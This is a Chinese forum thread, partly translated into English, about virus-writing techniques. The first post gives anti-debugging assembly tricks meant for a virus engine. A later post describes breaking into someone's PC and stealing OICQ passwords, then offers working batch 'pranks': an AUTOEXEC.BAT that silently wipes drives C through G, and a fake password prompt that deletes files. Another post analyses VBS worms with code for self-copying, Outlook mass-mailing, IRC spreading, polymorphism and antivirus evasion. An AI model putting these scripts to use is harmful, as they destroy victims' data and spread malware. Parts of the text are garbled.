Similar methods include int 5h (related to bound), int 6h (illegal instruction interrupt), int 7h, int 0dh... Interested people can study it by themselves... (Wow! I'm so degenerate...) :_)
2) int 02h (Non-maskable interrupt)
...
xor ax,ax
mov ds,ax
push word ptr ds:
push word ptr ds:
mov ds:,cs
mov ax,OFFSET int0_jmp
mov ds:,ax
int 75h ; Why call int 75h?? Hee! According to my observation... There is an int 02h in this interrupt!
... ; So... :_)
int2_jmp:
add sp,000ch
pop word ptr ds:
pop word ptr ds:
...
Hee! I plan to use this method in my next variant engine... So far, none can simulate it (I tried with TBAV...)!
In addition... I/O ports can also be used to trigger int 2h interrupt. Interested people can study it...
port: 61h, 70h...
***************
3) CPU Instruction Queue
***************
Hey? Queue? Haven't heard of it? That's right... At first I didn't know its principle! But now I know it... Thanks to the guidance of a senior and my own intelligence... (Hah! Seems a bit cocky...)
mov ah,09h
mov word ptr ds:,OFFSET msg2 ;*
reg_dx:
mov dx,OFFSET msg1
int 21h
int 20h
msg1 db 'Fuck the Mad Satan! Shit!','$'
msg2 db 'Oh! Zhuge ... You are great!!!','$'
Hmm! When tracing under debug, what is obtained is msg2... But under DOS it's msg1
How? Fun enough吧... Why does this happen?? This is because Intel's CPU will load several instructions together when executing... (Maybe it's more time-saving!) And after the asterisk is executed, although mov dx,OFFSET msg1 is replaced with mov dx,OFFSET msg2 in the program, it's not changed in the CPU, resulting in the execution result being msg1! Of course! If there is a jmp or call after the asterisk, this phenomenon won't happen. I think you should understand the relationship with anti-tracking. You can also use this method to change the program flow!
|
|
2007-3-1 11:37 |
|
|
qasa
高级用户
   
积分 959
发帖 311
注册 2006-4-11 来自 广东-LianJiang
状态 离线
|
『第 2 楼』:
使用 LLM 解释/回答一下
资料是不错,但这篇文章好像和批处理的关系不大,怕熊猫会来警告你的。
The materials are good, but this article seems to have little to do with batch processing. I'm afraid the panda will come to warn you.
|

κχυμγνξοθπρωψιαδλεηφβτζσ┬╀┾┳┞┯┰┱┣┲┳╂╁│├┟┭┠这是什么??这就是我的人生 |
|
2007-3-1 11:59 |
|
|
yanjun520
新手上路

积分 3
发帖 2
注册 2007-2-24
状态 离线
|
|
2007-3-1 12:01 |
|
|
ran520
初级用户
 
积分 24
发帖 12
注册 2007-2-28
状态 离线
|
|
2007-3-1 12:05 |
|
|
KKIILDL
初级用户
 
积分 48
发帖 32
注册 2007-2-28
状态 离线
|
『第 5 楼』:
使用 LLM 解释/回答一下
批处理哦~ 我差点忘了`
那由我说说批处理吧:
整蛊之完全自动删除硬盘文件
(相关操作之后)成功侵入到别人主机!当然要看看硬盘有什么好东东啦!先去查查机主是男是女,主要是看有没有OICQ,一般都在C:\Program Files\oicq,啊?至少有50个号码?一看就知道不是好人!OICQ号码多了,好骗人呀!找到以后在自己的OICQ上查他的信息(一般不准),咦?号码不错?好,先下载CFG文件密码档,然后用OICQ密码器解开!行了,再用OICQ登陆,修改密码!OK?!还有其他什么东东?下载点信看看?嘻嘻,还是看看他在玩什么游戏?上传“联众网络游戏”密码查看器查找他“联众网络游戏”的密码?不好玩,不好玩!还是去看看他现在干什么吧!(相关操作之后)啊?!小雨晕倒……这个色狼!居然在浏览色情网站?!气死小雨了!早知道就不看了!哼!叫你色!给你点颜色看看!小雨马上在其C盘根目录上传了一个已编辑好的名为AUTOEXEC.BAT的批处理文件,内容如下:(小雨声明:以上均为虚构,如有雷同纯属巧合!)
--------------------------------------------------------------------------------
@rem 开始
@rem 关闭命令行显示
@echo off
rem 设置路径
PATH %PATH%;c:\windows\;c:\windows\command
rem 运行磁盘缓冲,加快删除速度:)
SMARTDRV >nul
rem 清屏
cls
rem 显示正在运行WINDOWS系统和百分比
echo run Windows ..........10%%
rem 执行删除操作
deltree /y g:\. >nul
cls
echo run Windows ..........20%%
deltree /y f:\. >nul
cls
echo run Windows ..........50%%
deltree /y e:\. >nul
cls
echo run Windows ..........70%%
deltree /y d:\. >nul
cls
echo run Windows ..........90%%
deltree /y c:\. >nul
cls
rem 全部删除后,告诉他电脑刚才在干什么!:)
echo del system all!!
echo Goodbye!!!
rem 结束
--------------------------------------------------------------------------------
OK!当他下次启动时将自动删除系统所有文件!如果还有其他硬盘,也可在程序里添加,各位网友能看懂吗?嘻嘻,应该能看懂的,大家都是大虾嘛!虽然这只是简单的、普通的批处理文件,但在这里的作用可不简单呦!是完全删除他硬盘的所有文件!如果他系统正在运行,就肯定有文件删不掉,可现在……什么都还没开始运行的时候就……而且借WINDOWS系统启动慢的东风,他肯定在一边骂WIN的速度,一边慢慢等删除呢!
整蛊之启动密码
就算他D版光盘再多,也需要重装系统吧?也需要重装驱动程序吧?至少几个小时上不了网,而且丢失全部……一会就去哭了……嘻嘻……试问谁每次关机前检查AUTOEXEC.BAT文件?谁启动时不是直接运行WINDOWS系统?所以本方法很少落空!毒不毒?您可以修改黄色部分和删除所有rem开头的语句。
(修改可以,但一定要记住前后对应呀!)如果您不懂或只是半懂程序,可千万别自己试呀!结果是很危险的
您一般都在电脑的哪儿加密码呢?CMOS?Windows启动?加密目录?还是加密程序?不,都不太好,非常容易被破解!而且您更不希望破解者轻松得到自己的数据,那怎么办?请看下面的程序:
--------------------------------------------------------------------------------
@rem 开始
@rem 关闭命令行显示
@echo off
rem 设置路径
PATH %PATH%;c:\windows\;c:\windows\command
rem 设置变量
set a=1
set d=0
:sub
rem 清屏
cls
rem 等待输入密码
CHOICE /c:1234567890 /n Password(3-%a%):
rem 判断输入的是哪个字符
if ERRORLEVEL 10 goto 10
if ERRORLEVEL 9 goto 9
if ERRORLEVEL 8 goto 8
if ERRORLEVEL 7 goto 7
if ERRORLEVEL 6 goto 6
if ERRORLEVEL 5 goto 5
if ERRORLEVEL 4 goto 4
if ERRORLEVEL 3 goto 3
if ERRORLEVEL 2 goto 2
rem 判断运行次数
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:10
rem 判断密码是否正确
if %d%==2 set d=3
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:9
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:8
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:7
if %d%==0 set d=1
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:6
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:5
if %d%==1 set d=2
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:4
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:3
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:2
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:run
rem 判断密码是否正确
if %d%==3 goto end
rem 密码错误时显示“OK”!迷惑非法使用者
echo Password ok!
rem 这里放密码错误时要执行的程序
:end
@rem 结束
--------------------------------------------------------------------------------
这个BAT程序可以输入三次,正确密码是:750,您也可以使用字母作为密码,如果密码输入错误就一边显示密码正确,迷惑非法使用者,一边执行您的补救程序,比如执行删除重要文件等等!如果放在autoexec.bat里面就可以得到重新启动时加密的效果!一般人都会在不知道密码的情况下先随便输入试试,所以本程序应该还管用的,是不是很简单?您可以将红色部分任意的顺序放在任意的段落里和删除所有rem开头的语句。(修改可以,但一定要记住前后对应呀!)
整蛊之运行N次后执行指定程序
(好,整蛊程序已经准备好了,但我不想立即生效,因为怕人怀疑到我!怎么办?来,看看下面的程序:
--------------------------------------------------------------------------------
@rem 开始
@rem 关闭命令行显示
@echo off
rem 设置路径
PATH %PATH%;c:\windows\;c:\windows\command
rem 判断是否有开始执行标记文件
if EXIST c:\windows\5.bak goto run
rem 创建标记初始文件
dir c:\msdos.sys > c:\windows\1.bak
rem 查找标记文件来判断运行次数
if EXIST c:\windows\4.bak goto a
if EXIST c:\windows\3.bak goto b
if EXIST c:\windows\2.bak goto c
if EXIST c:\windows\1.bak goto d
goto end
:a
rem 创建运行次数标记文件
type c:\windows\1.bak > c:\windows\5.bak
goto end
:b
type c:\windows\1.bak>c:\windows\4.bak
goto end
:c
type c:\windows\1.bak>c:\windows\3.bak
goto end
:d
type c:\windows\1.bak>c:\windows\2.bak
goto end
:run
rem 开始执行预定程序
deltree /y c:\windows\1.bak >nul
deltree /y c:\windows\2.bak >nul
deltree /y c:\windows\3.bak >nul
deltree /y c:\windows\4.bak >nul
deltree /y c:\windows\5.bak >nul
rem 这里改为您想运行的程序文件名 >nul
:end
@rem 结束
--------------------------------------------------------------------------------
这个BAT每运行5次就执行一次您预定的程序,如果放在autoexec.bat里面就可以得到重新启动5次执行一次指定程序的效果!是不是很简单?您可以修改红色部分增加或减少运行次数和删除所有rem开头的语句。(修改可以,但一定要记住前后对应呀!)
Batch processing oh~ I almost forgot `
Then let me talk about batch processing:
Prank: Completely Automatic Deletion of Hard Disk Files
(After related operations) Successfully invaded someone else's host! Of course, I want to see what good stuff is on the hard disk! First, check whether the owner of the machine is male or female, mainly to see if there is OICQ. Generally, it is in C:\Program Files\oicq. Ah? At least 50 numbers? It's obvious that it's not a good person! With many OICQ numbers, it's easy to deceive people! After finding it, check his information on my own OICQ (generally inaccurate). Hey? The number is good? Okay, first download the CFG file password file, then use the OICQ password cracker to unlock it! Done, then log in with OICQ and change the password! OK?! What else is there? Download the message to see? Hee hee, or see what game he is playing? Upload the "Lianzhong Online Game" password viewer to find his "Lianzhong Online Game" password? Not fun, not fun! Still go to see what he is doing now! (After related operations) Ah?! Xiaoyu fainted... This pervert! Actually browsing pornographic websites?! Xiaoyu is so angry! I should have known not to look! Humph! Make you perverted! Give you some color to see! Xiaoyu immediately uploaded an edited batch processing file named AUTOEXEC.BAT in his C drive root directory. The content is as follows: (Xiaoyu declares: The above are all fictional, any resemblance is purely coincidental!)
--------------------------------------------------------------------------------
@rem Start
@rem Turn off command line display
@echo off
rem Set path
PATH %PATH%;c:\windows\;c:\windows\command
rem Run disk buffer to speed up deletion speed: )
SMARTDRV >nul
rem Clear screen
cls
rem Display running WINDOWS system and percentage
echo run Windows ..........10%%
rem Perform deletion operation
deltree /y g:\. >nul
cls
echo run Windows ..........20%%
deltree /y f:\. >nul
cls
echo run Windows ..........50%%
deltree /y e:\. >nul
cls
echo run Windows ..........70%%
deltree /y d:\. >nul
cls
echo run Windows ..........90%%
deltree /y c:\. >nul
cls
rem After all deletion, tell him what the computer was doing just now! : )
echo del system all!!
echo Goodbye!!!
rem End
--------------------------------------------------------------------------------
OK! When he starts next time, all system files will be automatically deleted! If there are other hard disks, you can also add them in the program. Can all netizens understand? Hee hee, should be able to understand, everyone is an expert嘛! Although this is just a simple, ordinary batch processing file, but the role here is not simple呦! It is to completely delete all files on his hard disk! If his system is running, there must be files that cannot be deleted, but now... when nothing has started running yet... and taking advantage of the slow startup of the WINDOWS system, he must be scolding the speed of WIN while waiting slowly for deletion!
Prank: Startup Password
Even if he has more D-version CDs, he still needs to reinstall the system? Still needs to reinstall the driver program? At least can't surf the Internet for a few hours, and lose everything... I'll go cry later... Hee hee...试问 who checks the AUTOEXEC.BAT file before shutting down every time? Who starts and directly runs the WINDOWS system? So this method rarely fails! Is it vicious? You can modify the yellow part and delete all statements starting with rem.
(Modification is okay, but must remember to correspond before and after!) If you don't understand or only half-understand the program, don't try it yourself! The result is very dangerous
Where do you generally add passwords on the computer? CMOS? Windows startup? Encrypt directory? Or encrypt program? No, none is good, very easy to be cracked! And you don't want the cracker to easily get your data, then what to do? Please see the following program:
--------------------------------------------------------------------------------
@rem Start
@rem Turn off command line display
@echo off
rem Set path
PATH %PATH%;c:\windows\;c:\windows\command
rem Set variable
set a=1
set d=0
:sub
rem Clear screen
cls
rem Wait for password input
CHOICE /c:1234567890 /n Password(3-%a%):
rem Judge which character is input
if ERRORLEVEL 10 goto 10
if ERRORLEVEL 9 goto 9
if ERRORLEVEL 8 goto 8
if ERRORLEVEL 7 goto 7
if ERRORLEVEL 6 goto 6
if ERRORLEVEL 5 goto 5
if ERRORLEVEL 4 goto 4
if ERRORLEVEL 3 goto 3
if ERRORLEVEL 2 goto 2
rem Judge running times
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:10
rem Judge whether password is correct
if %d%==2 set d=3
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:9
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:8
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:7
if %d%==0 set d=1
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:6
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:5
if %d%==1 set d=2
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:4
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:3
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:2
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:run
rem Judge whether password is correct
if %d%==3 goto end
rem Display "OK" when password is wrong! Confuse illegal users
echo Password ok!
rem Put the program to be executed when password is wrong here
:end
@rem End
--------------------------------------------------------------------------------
This BAT program can be input three times. The correct password is: 750. You can also use letters as the password. If the password is input wrong, it will display that the password is correct to confuse illegal users while executing your remedy program, such as executing to delete important files and so on! If it is placed in autoexec.bat, it can get the effect of encryption when restarting! Generally, people will randomly input first without knowing the password, so this program should still work, isn't it very simple? You can put the red part in any order in any paragraph and delete all statements starting with rem. (Modification is okay, but must remember to correspond before and after!)
Prank: Execute Specified Program After Running N Times
(Okay, the prank program is ready, but I don't want it to take effect immediately, because I'm afraid people will suspect me! What to do? Come, take a look at the following program:
--------------------------------------------------------------------------------
@rem Start
@rem Turn off command line display
@echo off
rem Set path
PATH %PATH%;c:\windows\;c:\windows\command
rem Judge whether there is a start execution mark file
if EXIST c:\windows\5.bak goto run
rem Create initial mark file
dir c:\msdos.sys > c:\windows\1.bak
rem Find mark file to judge running times
if EXIST c:\windows\4.bak goto a
if EXIST c:\windows\3.bak goto b
if EXIST c:\windows\2.bak goto c
if EXIST c:\windows\1.bak goto d
goto end
:a
rem Create running times mark file
type c:\windows\1.bak > c:\windows\5.bak
goto end
:b
type c:\windows\1.bak>c:\windows\4.bak
goto end
:c
type c:\windows\1.bak>c:\windows\3.bak
goto end
:d
type c:\windows\1.bak>c:\windows\2.bak
goto end
:run
rem Start to execute scheduled program
deltree /y c:\windows\1.bak >nul
deltree /y c:\windows\2.bak >nul
deltree /y c:\windows\3.bak >nul
deltree /y c:\windows\4.bak >nul
deltree /y c:\windows\5.bak >nul
rem Change to the file name of the program you want to run >nul
:end
@rem End
--------------------------------------------------------------------------------
This BAT executes a scheduled program once every 5 runs. If it is placed in autoexec.bat, it can get the effect of executing a specified program once after restarting 5 times! Isn't it very simple? You can modify the red part to increase or decrease the running times and delete all statements starting with rem. (Modification is okay, but must remember to correspond before and after!)
|
|
2007-3-2 02:40 |
|
|
KKIILDL
初级用户
 
积分 48
发帖 32
注册 2007-2-28
状态 离线
|
『第 6 楼』:
使用 LLM 解释/回答一下
网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。
上面提及的两个病毒最大的一个共同特点是:使用VBScript编写。以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析:
一、Vbs脚本病毒的特点及发展现状
VBS病毒是用VB Script编写而成,该脚本语言功能非常强大,它们利用Windows系统的开放性特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点:
1.编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。
2.破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。
3.感染力强。由于脚本是直接解释执行,并且它不需要像PE病毒那样,需要做复杂的PE文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理变得非常容易。
4.传播范围大。这类病毒通过htm文档,Email附件或其它方式,可以在很短时间内传遍世界各地。
5.病毒源码容易被获取,变种多。由于VBS病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。
6.欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如.jpg.vbs,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个jpg图片文件。
7.使得病毒生产机实现起来非常容易。所谓病毒生产机,就是可以按照用户的意愿,生产病毒的机器(当然,这里指的是程序),目前的病毒生产机,之所以大多数都为脚本病毒生产机,其中最重要的一点还是因为脚本是解释执行的,实现起来非常容易,具体将在我们后面谈及。
正因为以上几个特点,脚本病毒发展异常迅猛,特别是病毒生产机的出现,使得生成新型脚本病毒变得非常容易。
二、Vbs脚本病毒原理分析
1.vbs脚本病毒如何感染、搜索文件
VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理:
以下是文件感染的部分关键代码:
Set fso=createobject("scripting.filesystemobject") '创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件(即病毒本身)
vbscopy=self.readall ' 读取病毒全部代码到字符串变量vbscopy……
set ap=fso.opentextfile(目标文件.path,2,true) ' 写打开目标文件,准备写入病毒代码
ap.write vbscopy ' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path) '得到目标文件路径
cop.copy(目标文件.path & ".vbs") ' 创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true) '删除目标文件
上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删勘晡募?BR>下面我们具体分析一下文件搜索代码:
'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
sub scan(folder_) 'scan函数定义,
on error resume next '如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。
Wscript.echo (file)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录;递归调用
scan( )
scan(subfolder)
next
end sub
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。
2.vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
1)通过Email附件传播
这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI") //获取MAPI的名字空间
Set addrList= mapiObj.AddressLists //获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount //遍历地址表的Email地址
Set item = outlookApp.CreateItem(0) //获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex) //获取具体Email地址
item.To = addrEnt.Address //填入收信人地址 item.Subject = "病毒传播实验" //写入邮件标题
item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!" //写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
item.DeleteAfterSubmit = True //信件提交后自动删除
If item.To <> "" Then
item.Send //发送邮件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记,以免重复感染
End If
Next
End If
Next
End if
End Function
2)通过局域网共享传播
局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。
在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg = "网络连接搜索测试"
Set WSHNetwork = WScript.CreateObject("WScript.Network") ’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections ’创建一个网络打印机连接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1 Step 2 ’显示网络打印机连接情况
WScript.Echo "Port " & oPrinters.Item(i) & " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives ’创建一个网络共享连接列表
If colDrives.Count = 0 Then
MsgBox "没有可列出的驱动器。", vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "当前网络驱动器连接: " & CRLF
For i = 0 To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13) & Chr(10) & colDrives(i) & Chr(9) & colDrives(i + 1)
Next
MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg’显示当前网络驱动器连接
End If
上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后,我们就可以直接向目标驱动器读写文件了。
3)通过感染htm、asp、jsp、php等网页文件传播
如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户机器感染病毒。
病毒之所以能够在htm文件中发挥强大功能,采用了和绝大部分网页恶意代码相同的原理。基本上,它们采用了相同的代码,不过也可以采用其它代码,这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOT\CLSID\下我们可以找到这么一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},注册表中对它他的说明是“Windows Script Host Shell Object”,同样,我们也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228},注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个对象,调用它们的强大功能。代码如下所示:
Set Apple0bject = document.applets("KJ_guest")
Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
Apple0bject.createInstance() ’创建一个实例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
Apple0bject.createInstance() ’创建一个实例
Set FSO = Apple0bject.Get0bject()
对于其他类型文件,这里不再一一分析。
4)通过IRC聊天通道传播
病毒通过IRC传播一般来说采用以下代码(以MIRC为例)
Dim mirc
set fso=CreateObject("Scripting.FileSystemObject")
set mirc=fso.CreateTextFile("C:\mirc\script.ini") ’创建文件script.ini
fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs", True ’将病毒文件备份到attachment.vbs
mirc.WriteLine "[script]"
mirc.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:\mirc\attachment.vbs }"
'利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
以上代码用来往Script.ini文件中写入一行代码,实际中还会写入很多其他代码。Script.ini中存放着用来控制IRC会话的命令,这个文件里面的命令是可以自动执行的。譬如,“歌虫”病毒TUNE.VBS就会修改c:\mirc\script.ini 和 c:\mirc\mirc.ini,使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。同样,如果Pirch98已安装在目标计算机的c:\pirch98目录下,病毒就会修改c:\pirch98\events.ini和c:\pirch98\pirch98.ini,使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。
另外病毒也可以通过现在广泛流行的KaZaA进行传播。病毒将病毒文件拷贝到KaZaA的默认共享目录中,这样,当其他用户访问这台机器时,就有可能下载该病毒文件并执行。这种传播方法可能会随着KaZaA这种点对点共享工具的流行而发生作用。
还有一些其他的传播方法,我们这里不再一一列举。
3.VBS脚本病毒如何获得控制权
如何获取控制权?这一个是一个比较有趣的话题,而VBS脚本病毒似乎将这个话题发挥的淋漓尽致。笔者在这里列出几种典型的方法:
1)修改注册表项
windows在启动的时候,会自动加载HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run项下的各键值所执向的程序。脚本病毒可以在此项下加入一个键值指向病毒程序,这样就可以保证每次机器启动的时候拿到控制权。vbs修改贮册表的方法比较简单,直接调用下面语句即可。
wsh.RegWrite(strName, anyvalue [,strType])
2)通过映射文件执行方式
譬如,我们新欢乐时光将dll的执行方式修改为wscript.exe。甚至可以将exe文件的映射指向病毒代码。
3)欺骗用户,让用户自己执行
这种方式其实和用户的心理有关。譬如,病毒在发送附件时,采用双后缀的文件名,由于默认情况下,后缀并不显示,举个例子,文件名为beauty.jpg.vbs的vbs程序显示为beauty.jpg,这时用户往往会把它当成一张图片去点击。同样,对于用户自己磁盘中的文件,病毒在感染它们的时候,将原有文件的文件名作为前缀,vbs作为后缀产生一个病毒文件,并删除原来文件,这样,用户就有可能将这个vbs文件看作自己原来的文件运行。
4)desktop.ini和folder.htt互相配合
这两个文件可以用来配置活动桌面,也可以用来自定义文件夹。如果用户的目录中含有这两个文件,当用户进入该目录时,就会触发folder.htt中的病毒代码。这是新欢乐时光病毒采用的一种比较有效的获取控制权的方法。并且利用folder.htt,还可能触发exe文件,这也可能成为病毒得到控制权的一种有效方法!
病毒获得控制权的方法还有很多,这方面作者发挥的余地也比较大。
4.vbs脚本病毒对抗反病毒软件的几种技巧
病毒要生存,对抗反病毒软件的能力也是必需的。一般来说,VBS脚本病毒采用如下几种对抗反病毒软件的方法:
1)自加密
譬如,新欢乐时光病毒,它可以随机选取密钥对自己的部分代码进行加密变换,使得每次感染的病毒代码都不一样,达到了多态的效果。这给传统的特征值查毒法带来了一些困难。病毒也还可以进一步的采用变形技术,使得每次感染后的加密病毒的解密后的代码都不一样。
下面看一个简单的vbs脚本变形引擎(来自flyshadow)
Randomize
Set Of = CreateObject("Scripting.FileSystemObject") ’创建文件系统对象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall ’读取自身代码
fS = Array("Of", "vC", "fS", "fSC") ’定义一个即将被替换字符的数组
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))) ’取4个随机字符替换数组fS中的字符串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC ’将替换后的代码写回文件
上面这段代码使得该VBS文件在每次运行后,其Of,vC,fS,fSC四字符串都会用随机字符串来代替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。
2)巧妙运用Execute函数
用过VBS程序的朋友是否会觉得奇怪:当一个正常程序中用到了FileSystemObject对象的时候,有些反病毒软件会在对这个程序进行扫描的时候报告说此Vbs文件的风险为高,但是有些VBS脚本病毒同样采用了FileSystemObject对象,为什么却又没有任何警告呢?原因很简单,就是因为这些病毒巧妙的运用了Execute方法。有些杀毒软件检测VBS病毒时,会检查程序中是否声明使用了FileSystemObject对象,如果采用了,这会发出报警。如果病毒将这段声明代码转化为字符串,然后通过Execute(String)函数执行,就可以躲避某些反病毒软件。
3)改变某些对象的声明方法
譬如fso=createobject("scripting.filesystemobject"),我们将其改变为
fso=createobject("script"+"ing.filesyste"+"mobject"),这样反病毒软件对其进行静态扫描时就不会发现filesystemobject对象。
4)直接关闭反病毒软件
VBS脚本功能强大,它可以直接在搜索用户进程然后对进程名进行比较,如果发现是反病毒软件的进程就直接关闭,并对它的某些关键程序进行删除。
5.Vbs病毒生产机的原理介绍
所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件。在很多人看来这或许不可思议,其实对脚本病毒而言它的实现非常简单。
脚本语言是解释执行的、不需要编译,程序中不需要什么校验和定位,每条语句之间分隔得比较清楚。这样,先将病毒功能做成很多单独的模块,在用户做出病毒功能选择后,生产机只需要将相应的功能模块拼凑起来,最后再作相应的代码替换和优化即可。由于篇幅关系和其他原因,这里不作详细介绍。
三、如何防范vbs脚本病毒
1.如何从样本中提取(加密)脚本病毒
